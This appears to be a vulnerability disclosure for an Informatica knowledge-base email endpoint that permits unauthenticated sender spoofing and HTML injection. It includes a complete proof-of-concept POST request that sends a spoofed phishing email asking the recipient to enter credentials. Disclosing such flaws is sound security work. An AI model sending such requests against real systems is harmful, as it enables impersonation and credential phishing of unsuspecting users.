The endpoint at https://kb.informatica.com/_layouts/infa_kb/preview/EmailExtended.aspx?docid=anything is vulnerable to unauthenticated emails, which allows attackers to impersonate anyone and send emails on their behalf.
Also, the message body field is vulnerable to HTML injection, which allows the attacker to inject <a> and <img> tags in the message to make it more appealing to the victim.
The attacker is only able to use all the message parts (subject and body, and spoof the sender email) when the value of the GET parameter "docid" is invalid, following is a PoC request:
POST /_layouts/infa_kb/preview/EmailExtended.aspx?docid=test HTTP/1.1 Host: kb.informatica.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101 Firefox/38.0 Iceweasel/38.8.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://kb.informatica.com/_layouts/infa_kb/preview/EmailExtended.aspx?docid=test Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 456
__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKLTEzODI5NjM1MmRkIAMIwf3AXuDHeZBC%2Bpk%2FVrqUtUo%3D&__VIEWSTATEGENERATOR=D7632FD9&__EVENTVALIDATION=%2FwEWDQKX6trHCgLs0bLrBgLs0fbZDALs0Yq1BQLs0e58AuzRgtgJAuzRxsYPAoznisYGApCjwqsNAs3nv%2BIOAsHFicAHAtPVqd4NAozmy%2BgBxyQ%2FpTxgPj3UtaL60YTEMzWLNM8%3D&TextBox1firstname.lastname@example.org&TextBox2=&TextBox3=&TextBox4email@example.com&TextBox5=A convincing subject&TextBox6=Hello, please visit <a href=http://www.example.com>Our login page</a> and enter your credentials to win a reward.&Button1=Submit
The above request will send an email to firstname.lastname@example.org from email@example.com with a message that asks to open a link and enter the user's credentials, which will be really convincing for the user, especially if the attacker has already registered a domain name that looks like Informatica's legit one.
I have attached a screenshot of the mail I received from the above request to make it more clear.